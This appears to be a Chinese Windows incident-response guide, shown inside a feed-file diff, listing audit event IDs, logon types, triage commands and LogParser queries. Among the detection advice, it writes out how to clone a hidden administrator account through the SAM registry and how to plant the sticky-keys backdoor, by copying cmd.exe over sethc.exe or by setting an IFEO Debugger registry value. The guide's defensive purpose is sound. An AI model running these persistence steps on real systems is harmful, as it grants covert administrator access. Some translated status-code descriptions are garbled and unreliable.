    成功4866删除了受信任的林信息条目.
    成功4867受信任的林信息条目已修改.

    审核登录事件

    此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核登录事件审核账户锁定成功登录/注销
    审核 IPsec 扩展模式无审核登录/注销
    审核 IPsec 主模式无审核登录/注销
    审核 IPsec 快速模式无审核登录/注销
    审核注销成功登录/注销
    审核登录客户端:成功
    服务器:成功和失败
    登录/注销
    审核网络策略服务器成功和失败登录/注销
    审核其他登录/注销事件无审核登录/注销
    审核特别登录成功登录/注销
    子类别默认状态事件ID事件说明
    审核账户锁定成功4625帐户登录失败.
    审核注销成功4634帐户已注销.
    审核注销成功4647用户发起的注销.
    审核登录客户端PC: 成功
    服务器: 成功和失败
    4624帐户登录成功.
    4625帐户登录失败.
    4648尝试使用显式凭据登录.
    4675SID 被过滤.
    审核网络策略服务器成功和失败网络策略服务器授予用户访问权限.
    6273网络策略服务器拒绝访问用户.
    6274网络策略服务器放弃了对用户的请求.
    6275网络策略服务器丢弃了用户的计费请求.
    6276网络策略服务器隔离了一个用户.
    6277网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态.
    6278网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略.
    6279由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户.
    6280网络策略服务器解锁了用户帐户.
    审核特别登录成功4964已将特殊组分配给新登录
    登录类型描述说明
    2交互式登录(Interactive)用户在本地进行登录.
    3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时.
    4批处理(Batch)通常表明某计划任 务启动.
    5服务(Service)每种服务都被配置 在某个特定的用户 账号下运行.
    7解锁(Unlock)屏保解锁.
    8网络明文(NetworkCleartext)登录的密码在网络 上是通过明文传输 的,如FTP.
    9新凭证(NewCredentials)使用带/Netonly参数 的RUNAS命令运行一 个程序.
    10远程交互(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机.
    11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可用
    地位和子状态码描述
    0xc0000064用户名不存在
    0xc000006a用户名是正确的,但密码是错误的
    0xc0000234用户当前锁定
    0xc0000072帐户目前禁用
    0xc000006f用户试图登录天的外周或时间限制
    0xc0000070工作站的限制
    0xc0000193帐号过期
    0xc0000071过期的密码
    0xc0000133时钟之间的直流和其他电脑太不同步
    0xc0000224在下次登录用户需要更改密码
    0xc0000225显然一个缺陷在Windows和不是一个风险
    0xc000015b没有被授予该用户请求登录类型(又名登录 正确的)在这台机器
    0xc000006d似乎是由于系统问题和不安全

    审核账户管理

    此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括:

    • 创建、更改或删除用户帐户或组.
    • 重命名、禁用或启用用户帐户.
    • 设置或更改密码.
    类别子类别默认状态对应本地审核策略
    帐户管理审核应用组程序管理无审核审核账户管理
    审核计算机帐户管理无审核
    审核通讯组管理无审核
    审核其他账户管理事件无审核
    审核安全组管理成功
    审核用户账户管理成功
    子类别默认状态事件ID事件
    审核安全组管理成功4727已创建启用安全性的全局组.
    4728一个成员被添加到启用安全的全局组中.
    4729成员已从启用安全的全局组中删除.
    4730已删除启用安全的全局组.
    4731已创建启用安全性的本地组.
    4732一个成员被添加到启用安全的本地组.
    4733成员已从启用安全的本地组中删除.
    4734已删除启用安全的本地组.
    4735已更改启用安全的本地组.
    4737已更改启用安全的全局组.
    4754已创建启用安全的通用组.
    4755已更改启用安全的通用组.
    4756一个成员被添加到启用安全的通用组.
    4757成员已从启用安全的通用组中删除.
    4758已删除启用安全的通用组.
    4764组的类型已更改.
    审核用户账户管理成功4720已创建用户帐户.
    4722已启用用户帐户.
    4723试图更改帐户的密码.
    4724已尝试重置帐户密码.
    4725用户帐户被禁用.
    4726用户帐户被删除.
    4738用户帐户已更改.
    4740用户帐户被锁定.
    4765SID 历史记录已添加到帐户
    4766尝试向帐户添加 SID 历史记录失败.
    4767用户帐户已解锁.
    4780ACL 是在作为管理员组成员的帐户上设置的.
    4781帐户名称已更改:
    4794已尝试设置目录服务还原模式.
    5376凭据管理器凭据已备份.
    5377凭据管理器凭据是从备份中恢复的.

    远程登录事件

    当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。

    安全日志(Security.evtx)

    事件ID描述重点说明
    4624账户成功登录表明有账户成功通过RDP登录
    4648使用明文凭证尝试登录可能表明凭证被窃取或滥用
    4778重新连接到一台Windows主机的会话表明会话被重新连接
    4779断开到一台Windows主机的会话表明会话被断开

    远程连接日志

    应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational

    事件ID描述重点说明
    1149用户认证成功表明用户通过RDP认证成功
    21远程桌面服务:会话登录成功表明RDP会话登录成功
    24远程桌面服务:会话已断开连接表明RDP会话被断开
    25远程桌面服务:会话重新连接成功表明RDP会话被重新连接

    登录类型

    登录类型描述重点说明
    10RemoteInteractive专用于RDP登录
    12CachedRemoteInteractive表明使用了缓存的RDP登录信息

    隐藏账号-番外篇

    window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为youzi$,密码为youzi$的简单隐藏账户,并且把该隐藏账户提升为了管理员权限.

    CMD命令行使用net user,看不到test$这个账号,但在控制面板和本地用户和组是可以显示此用户

    克隆账号制作过程:

    1. “开始”→“运行”,输入regedit后回车,需要到HKEY_LOCAL_MACHINE\SAM\SAM,单机右建权限,给予administrator用户完全控制以及读取的权限,在后面打勾就行.然后关闭注册表编辑器,再次打开即可


    2. 来到注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names处,点击youzi$用户,得到在右边显示的键值中的”类型”一项显示为0x3F9,找到箭头所指目录.

    3. 找到administrator所对应的的项为000001F4,将00001F4的F值复制到000003F9的F值中,保存.

    4. 分别youzi$000003F9导出到桌面,删除youzi$用户net user youzi$ /del

    5. 将刚才导出的两个后缀为.reg的注册表项导入注册表中.这样所谓的隐藏账户就创建好了.

      PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到

    检测和清理方法:
    使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号.

    ]]>
    @@ -45,9 +45,9 @@ https://jiangjiyue.github.io/2024/07/04/b7b8d727/ 2024-07-04T10:34:49.000Z - 2024-07-08T23:54:05.788Z + 2024-07-10T05:53:08.995Z -

    总字符数: 28.89K

    代码: 6.84K, 文本: 5.58K

    预计阅读时间: 54 分钟

    当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失

    常见的应急响应事件分类:

    1. web入侵:网页挂马、主页篡改、Webshell

    2. 系统入侵:病毒木马、勒索软件、远控后门

    3. 网络攻击:DDOS攻击、DNS劫持、ARP欺骗

    工具and日志

    0x01 入侵排查思路

    系统基本信息

    1. wsinfo32查看Windows信息
      1. 硬件信息
      2. 运行任务
      3. 服务
      4. 系统驱动程序
      5. 加载的模块
      6. 启动程序
    2. cmd命令systeminfo
      1. 主要用途简单了解信息

    检查系统账号安全

    1. 查看服务器是否有弱口令,远程管理端口是否对公网开放.

      1
      2
      # 检查方法:
      据实际情况咨询相关服务器管理员.
    2. 查看服务器是否存在可疑账号、新增账号.

      1
      2
      3
      # 检查方法:
      打开cmd窗口lusrmgr.msc命令,查看是否有新增/可疑的账号或cmd中net localgroup administrators
      如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉.
    3. 查看服务器是否存在隐藏账号、克隆账号.

      1
      2
      3
      # 检查方法:
      a. 打开注册表,查看管理员对应键值.
      b. 使用D盾_web查杀工具,集成了对克隆账号检测的功能.
    1. 结合日志,查看管理员登录时间、用户名是否存在异常.

      1
      2
      3
      4
      # 检查方法:
      a. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"
      b. 导出Windows日志--安全,利用LogParser进行分析
      LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS username FROM C:\Users\Administrator\Desktop\Security.evtx WHERE EventID = 4624"
    2. wmic命令

      1
      wmic useraccount get Name,SID

    检查异常端口、进程

    1. 检查端口连接情况,是否有远程连接、可疑连接.

      1
      2
      3
      4
      5
      6
      7
      # 检查方法:
      a. netstat-ano # 查看目前的网络连接,定位可疑的ESTABLISHED
      b. 根据netstat定位出的pid,再通过tasklist命令进行进程定位
      tasklist | findstr "PID"

      # 注册表查看RDP端口.
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    2. 进程

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      # 检查方法:
      a. 开始--运行--输入
      msinfo32
      依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.

      b. 打开D盾web查杀工具,进程查看,关注没有签名信息的进程.
      c. 通过微软官方提供的ProcessExplorer等工具进行排查.

      d. 查看可疑的进程及其子进程.可以通过观察以下内容:
      1. 没有签名验证信息的进程
      2. 没有描述信息的进程
      3. 进程的属主
      4. 进程的路径是否合法
      5. CPU或内存资源占用长时间过高的进程
    3. 小技巧:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      a. 查看端口对应的PID: netstat -ano | findstr "port"
      b. 查看进程对应的PID: 任务管理器--查看--选择列--PID
      或者 tasklist | findstr "PID"
      c. 查看进程对应的程序位置:
      1. 任务管理器--选择对应进程--右键打开文件位置
      2. 运行输入wmic,cmd界面输入process
      d. tasklist /svc # 进程--PID--服务
      e. 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services
      # 一般 %system% 就是C:\Windows

    检查启动项、计划任务、服务

    什么是Windows启动项?

    • 开机的时候系统会在前台或者后台运行的程序

    什么是Windows启动项后门?

    Windows启动项后门也是攻击者常用的权限维持方式,大体上可以分为两种。

    • 一是重启电脑时自启动后门程序实现权限维持;
    • 二是点击某应用、服务、程序时自启动后门程序实现权限维持。

    什么是计划任务?

    • 一般是指在操作系统中设置定时任务
    • 计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。

    什么是计划任务后门?

    • 计划任务是经常被攻击者拿来利用的控制点,计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而帮助我们进行权限维持。

    什么是Windows服务?

    • Windows 会话中可运行的可执行应用程序
    • 在Windows系统中还有一个重要的机制,就是服务。通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。
    1. 检查服务器是否有异常的启动项

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      # 检查方法:
      a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,
      确认是否有非业务程序在该目录下.
      b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,
      是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.
      c. 单击【开始】>【运行】,输入regedit,打开注册表,
      查看开机启动项是否正常,特别注意如下三个注册表项:
      HKEY\_CURRENT\_USER\software\micorsoft\windows\currentversion\run
      HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
      HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
      检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.

      # 注册表目录含义
      HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息
      HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置
      HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置
      HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置
      HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息

      # 注册表操作命令
      1. reg add添加注册表
      2. reg delete删除注册表
      3. reg query返回注册表的子项下的项和下一层项的列表

      d. 利用安全软件查看启动项、开机时间管理等.
      e. 组策略,运行gpedit.msc.
      f. msconfig 图形化查看启动项
    2. 检查计划任务

      1
      2
      3
      4
      5
      6
      7
      # 检查方法:
      a. 单击【开始】>【设置】>【控制面板】>【任务计划】
      查看计划任务属性,便可以发现木马文件的路径.
      b. 单击【开始】>【运行】:输入cmd,然后输入at
      检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接.
      c. powershell输入Get-ScheduledTask
      d. schtasks
    3. 服务自启动

      服务可以理解为运行在后台的进程,这些服务可以在计算机启动时自动启动,也可以暂停和重新启动,而且不显示任何用户界面

      服务作为一种运行在后台的进程,是恶意软件常用的贮存方法

      1
      2
      3
      # 检查方法:
      单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型
      检查是否有异常服务.

    检查系统相关信息

    1. 查看系统版本以及补丁信息

      1
      2
      # 检查方法:
      单击【开始】>【运行】,输入systeminfo 查看系统信息
    2. 查找可疑目录及文件

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      # 检查方法:
      a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.
      # Window 2003:
      C:\Documents and Settings
      # Window 2008 R2:
      C:\Users\

      b. 单击【开始】>【运行】,输入%UserProfile%\Recent
      分析最近打开分析可疑文件.
      c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件.

    检查shift粘贴键后门

    什么是shift粘贴键后门?

    • Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。 (辅助功能镜像劫持是一样的原理)

    辅助功能镜像劫持

    为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。
    比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序
    还有:

    1
    2
    3
    4
    5
    屏幕键盘: C:\Windows\System32\osk.exe
    放大镜: C:\Windows\System32\Magnify.exe
    旁白: C:\Windows\System32\Narrator.exe
    显示切换器 C:\Windows\System32\DisplaySwitch.exe
    应用切换器: C:\Windows\System32\AtBroker.exe

    低版本

    在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\Windows\System32\sethc.exe替换为cmd.exe
    仅限windows 2003、xp系统

    1
    2
    copy c:\windows\system32\sethc.exe c:\windows\system32\sethc.exe.bak
    copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

    高版本

    我们需要用到IFEO,即映像劫持

    什么是IFEO

    所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。

    当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。

    命令行修改
    1
    2
    3
    # 需要管理员权限
    # 在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\windows\system32\cmd.exe,如图:
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

    进程分析

    Windows进程排查,主要是找到恶意进程的PID,程序路径有时还需要找到PPID(PID的父进程),及程序加载的DLL

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    1. 任务管理器
    2. tasklist命令
    1. tasklist /svc 查看进程服务
    2. tasklist /m 查看加载dll的恶意进程
    3. tasklist /m dll文件名 指定dll的调用情况
    4. tasklist过滤器 tasklist /fi 'pid eq 992' eq表示等于
    5. 可以先使用netstat -ano查看端口连接信息,然后使用tasklist | findstr进行排查
    3. powershell
    1. 用途在存在守护进程的进程,确认子父进程的关系
    2. Get-WmiObject Win32_Process | select Name,ProcessId,ParentProcessId,Path
    4. wmic命令
    1. 以csv格式列出所有信息 wmic process list full /format:csv
    2. 以csv格式显示进程的名称、父进程ID、进程ID wmic process get name,parentprocessid,processid /format:csv

    文件痕迹排查

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    1. 敏感目录
    1. 各个盘符的tmp/temp相关目录 恶意程序投放的文件一般都会在路径相对统一的文件夹下,而临时目录相对统一
    2. 浏览器记录:人工入侵事件,入侵者会下载后续入侵的相关工具
    3. Recent文件 位置:Everything全盘搜索即可 Recent文件主要存储了最近运行文件的快捷方式,可通过分析最近运行的文件,排查可疑文件
    4. Prefetch预读取文件夹 位置:%SystemRoot%\Prefetch\ 用来存放系统已访问过的文件的预读取信息,扩展名位pf
    5. Amcache.hve文件可以查询应用程序的执行路径、上次执行的时间以及SHA1值
    2. 时间查找
    1. 简介:安全事件发生后,需要确认事件发生的时间点,然后排查时间点前后文件变动情况,缩小排查范围
    2. 列出攻击日期内新增的文件,从而发现相关的恶意软件
    1. forfiles命令查找对应条件的文件
    2. 使用everything对该时间段的文件进行排查
    3. 对文件的创建时间、修改时间、访问时间进行排查 查看文件属性,查看创建时间和修改时间是否存在逻辑上的问题,如果存在则该文件需要重点排查
    3. webshell使用D盾、HwsKill、WebShellKill等webshell扫描工具进行扫描

    0x02 Windows日志及工具

    Windows日志介绍

    依赖的服务:EventLog服务

    位置:

    Windows 2000 / Server2003 / Windows XP :%SystemRoot%\System32\Config\*.evtx

    Windows Vista / 7 / 10 / Server2008 及以上版本: %SystemRoot%\System32\Winevt\Logs\*.evtx

    Windows日志分类

    类型描述
    系统日志(System.evtx)系统日志包含由Windows系统组件记录的事件,记录系统进程和设备 驱动程序的活动。由它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址 以及服务启动、暂停和停止。
    应用程序日志(Application.evtx)记录程序在运行过程中的日志信息。
    安全日志(Security.evtx)安全日志记录各种系统审核和安全处理,包括用户权限的变化、文件 和目录的访问、打印以及用户系统登陆和注销,如有效或无效的登陆尝试、与资源使用有关的事 件。管理员有按需要指定安全日志中要记录的事件类型。

    系统日志

    简介:主要指Windows系统中的各个组件在运行中产生的各种事件

    1. 系统驱动在运行中出现的问题
    2. 操作系统的多种组件在运行中出现的各种问题
    3. 应用软件在运行中出现的重大问题

    问题包括:数据丢失、错误,以及系统崩溃行为

    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\SysEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\System.evt
    1
    2
    3
    4
    # 分析方法:
    a. 前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等.
    b. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器".
    C. 导出应用程序日志、安全日志、系统日志,利用LogParser进行分析.

    安全日志

    简介:记录系统各种安全事件

    1. 各种登录与退出系统的成功或不成功的信息
    2. 对系统中各种重要资源的操作,如对系统文件的创建、删除、修改等操作
    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\SecEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\Security.evt

    应用程序日志

    简介:各类应用程序产生的各类事件:登录、退出等日志

    1. Windows2000-WindowsServer2003:C:\WINDOWS\System32\config\AppEvent.evt
    2. WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\System32\Winevt\Logs\Application.evt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    还需要注意DHCP以及Bits-Client得相关日志
    事件ID
    1. 应急常见ID
    1. 4624 成功登录 安全日志
    2. 4625 登录失败 安全日志
    3. 4776 成功/失败的账户认证 安全日志
    4. 4720 创建用户 安全日志
    5. 4732 添加用户到启用安全性的本地组中 安全日志
    6. 4728 添加用户到启用安全性的全剧组中 安全日志
    7. 7030 服务创建错误 系统日志
    8. 7040 IPSEC服务的启动类型已从禁用更改为自动启动 系统日志
    9. 7045 服务创建 系统日志
    2. 登录相关日志
    1. 4624 用户登录成功
    2. 4625 用户登录失败 (解锁屏幕不会产生这个日志)
    3. 4672 特权用户登录 administrator登录4624和4672日志一起出现
    4. 4648 显示凭证登录
    3. 启动事件日志
    1. 1074 关机初始化失败 警告日志 User32
    2. 13 关机日志 信息日志 系统日志
    3. 12 启动日志 信息日志 系统日志
    在默认情况下, Windows日志仅仅记录一些特定日志,因为Windows日志中每种日志的大小默认为 20M,超过大小之后会覆盖最早的日志记录。如果我们需要记录详细的安全日志,则需要通过修改本地策略或者在高级审核策略配置中来启用其他项的日志记录功能。

    Windows事件ID

    审核策略更改

    此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核策略更改审核审核策略更改成功策略更改
    审核身份验证策略更改成功策略更改
    审核授权策略更改无审核策略更改
    审核筛选平台策略更改无审核策略更改
    审核 MPSSVC 规则级策略更改无审核策略更改
    审核其他策略更改事件无审核策略更改
    子类别默认状态事件ID事件说明
    审核审核策略更改成功4715对象的审核策略 (SACL) 已更改.
    成功4719系统审核策略已更改.
    成功4817对象的审核设置已更改.
    成功4902创建了每用户审核策略表.
    成功4904已尝试注册安全事件源.
    成功4905已尝试取消注册安全事件源.
    成功4906CrashOnAuditFail 值已更改.
    成功4907对象的审核设置已更改.
    成功4908特殊组登录表已修改.
    成功4912每用户审核策略已更改.
    审核身份验证策略更改成功4713Kerberos 策略已更改.
    成功4716可信域信息已修改.
    成功4717系统安全访问被授予一个帐户.
    成功4718系统安全访问权限已从帐户中删除
    成功4739域策略已更改.
    成功4864检测到命名空间冲突.
    成功4865添加了受信任的林信息条目.
    成功4866删除了受信任的林信息条目.
    成功4867受信任的林信息条目已修改.

    审核登录事件

    此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核.

    类别子类别默认状态对应高级审核策略配置
    审核登录事件审核账户锁定成功登录/注销
    审核 IPsec 扩展模式无审核登录/注销
    审核 IPsec 主模式无审核登录/注销
    审核 IPsec 快速模式无审核登录/注销
    审核注销成功登录/注销
    审核登录客户端:成功
    服务器:成功和失败
    登录/注销
    审核网络策略服务器成功和失败登录/注销
    审核其他登录/注销事件无审核登录/注销
    审核特别登录成功登录/注销
    子类别默认状态事件ID事件说明
    审核账户锁定成功4625帐户登录失败.
    审核注销成功4634帐户已注销.
    审核注销成功4647用户发起的注销.
    审核登录客户端PC: 成功
    服务器: 成功和失败
    4624帐户登录成功.
    4625帐户登录失败.
    4648尝试使用显式凭据登录.
    4675SID 被过滤.
    审核网络策略服务器成功和失败网络策略服务器授予用户访问权限.
    6273网络策略服务器拒绝访问用户.
    6274网络策略服务器放弃了对用户的请求.
    6275网络策略服务器丢弃了用户的计费请求.
    6276网络策略服务器隔离了一个用户.
    6277网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态.
    6278网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略.
    6279由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户.
    6280网络策略服务器解锁了用户帐户.
    审核特别登录成功4964已将特殊组分配给新登录
    登录类型描述说明
    2交互式登录(Interactive)用户在本地进行登录.
    3网络(Network)最常见的情况就是连接到共享文件夹或共享打印机时.
    4批处理(Batch)通常表明某计划任 务启动.
    5服务(Service)每种服务都被配置 在某个特定的用户 账号下运行.
    7解锁(Unlock)屏保解锁.
    8网络明文(NetworkCleartext)登录的密码在网络 上是通过明文传输 的,如FTP.
    9新凭证(NewCredentials)使用带/Netonly参数 的RUNAS命令运行一 个程序.
    10远程交互(RemoteInteractive)通过终端服务、远程桌面或远程协助访问计算机.
    11缓存交互(CachedInteractive)以一个域用户登录而又没有域控制器可用
    地位和子状态码描述
    0xc0000064用户名不存在
    0xc000006a用户名是正确的,但密码是错误的
    0xc0000234用户当前锁定
    0xc0000072帐户目前禁用
    0xc000006f用户试图登录天的外周或时间限制
    0xc0000070工作站的限制
    0xc0000193帐号过期
    0xc0000071过期的密码
    0xc0000133时钟之间的直流和其他电脑太不同步
    0xc0000224在下次登录用户需要更改密码
    0xc0000225显然一个缺陷在Windows和不是一个风险
    0xc000015b没有被授予该用户请求登录类型(又名登录 正确的)在这台机器
    0xc000006d似乎是由于系统问题和不安全

    审核账户管理

    此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括:

    • 创建、更改或删除用户帐户或组.
    • 重命名、禁用或启用用户帐户.
    • 设置或更改密码.
    类别子类别默认状态对应本地审核策略
    帐户管理审核应用组程序管理无审核审核账户管理
    审核计算机帐户管理无审核
    审核通讯组管理无审核
    审核其他账户管理事件无审核
    审核安全组管理成功
    审核用户账户管理成功
    子类别默认状态事件ID事件
    审核安全组管理成功4727已创建启用安全性的全局组.
    4728一个成员被添加到启用安全的全局组中.
    4729成员已从启用安全的全局组中删除.
    4730已删除启用安全的全局组.
    4731已创建启用安全性的本地组.
    4732一个成员被添加到启用安全的本地组.
    4733成员已从启用安全的本地组中删除.
    4734已删除启用安全的本地组.
    4735已更改启用安全的本地组.
    4737已更改启用安全的全局组.
    4754已创建启用安全的通用组.
    4755已更改启用安全的通用组.
    4756一个成员被添加到启用安全的通用组.
    4757成员已从启用安全的通用组中删除.
    4758已删除启用安全的通用组.
    4764组的类型已更改.
    审核用户账户管理成功4720已创建用户帐户.
    4722已启用用户帐户.
    4723试图更改帐户的密码.
    4724已尝试重置帐户密码.
    4725用户帐户被禁用.
    4726用户帐户被删除.
    4738用户帐户已更改.
    4740用户帐户被锁定.
    4765SID 历史记录已添加到帐户
    4766尝试向帐户添加 SID 历史记录失败.
    4767用户帐户已解锁.
    4780ACL 是在作为管理员组成员的帐户上设置的.
    4781帐户名称已更改:
    4794已尝试设置目录服务还原模式.
    5376凭据管理器凭据已备份.
    5377凭据管理器凭据是从备份中恢复的.
    远程登录事件

    当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。

    安全日志(Security.evtx)
    事件ID描述重点说明
    4624账户成功登录表明有账户成功通过RDP登录
    4648使用明文凭证尝试登录可能表明凭证被窃取或滥用
    4778重新连接到一台Windows主机的会话表明会话被重新连接
    4779断开到一台Windows主机的会话表明会话被断开
    远程连接日志

    应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational

    事件ID描述重点说明
    1149用户认证成功表明用户通过RDP认证成功
    21远程桌面服务:会话登录成功表明RDP会话登录成功
    24远程桌面服务:会话已断开连接表明RDP会话被断开
    25远程桌面服务:会话重新连接成功表明RDP会话被重新连接
    登录类型
    登录类型描述重点说明
    10RemoteInteractive专用于RDP登录
    12CachedRemoteInteractive表明使用了缓存的RDP登录信息

    Log Parser

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    # 图形化
    # 默认安装到C:\Program Files (x86)\Log Parser 2.2
    # 将日志拷贝出来在进行操作
    LogParser.exe -i:EVT -o:DATAGRID "SELECT * FROM C:\Users\Administrator\Desktop\Security.evtx"

    # 分析IIS日志
    LogParser.exe "select time, c-ip,cs-uri-stem,cs-uri-query, sc-status, time-taken from C:\Users\Administrator\Desktop\ex170818.log where cs-uri-query like '%and%' " -o:datagrid
    #常见字段有
    time: 请求的时间戳,通常以 YYYY-MM-DD HH:MM:SS 格式记录。
    c-ip: 客户端IP地址(Client IP)。
    cs-uri-stem: 请求的URI路径(即请求的资源)。
    sc-status: 服务器返回的状态码(如200表示成功,404表示未找到等)。
    time-taken: 请求处理所花费的时间(以毫秒为单位)。
    cs-method: 请求方法(如GET、POST)。
    cs-uri-query: 请求的查询字符串。
    cs(User-Agent): 客户端的用户代理字符串(即浏览器类型)。
    cs(Referer): 请求的来源页面。
    sc-bytes: 服务器发送的字节数。
    cs-bytes: 客户端发送的字节数。
    s-computername: 服务器计算机名称。
    s-ip: 服务器IP地址。
    s-port: 服务器端口号。

    # 使用SQL语句统计实现我们需要的数据。

    LogParser.exe -i:IISW3C -o:DATAGRID "SELECT c-ip,COUNT(c-ip) FROM C:\Users\Administrator\Desktop\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"

    # 将结果数据导出到csv中

    LogParser.exe -i:IISW3C -o:csv "SELECT c-ip,COUNT(c-ip) into 1.csv FROM C:\Users\Administrator\Desktop\ex170818.log GROUP BY c-ip ORDER BY COUNT(c-iP) DESC"
    1
    2
    3
    4
    5
    # 在入侵事件中,我们经常会需要查找"post"请求,判断是否有上传木马文件等行为,或者访问页面中包含"user"、"manager"、"admin"等类似管理员的字段判断是否访问了后台管理页面。

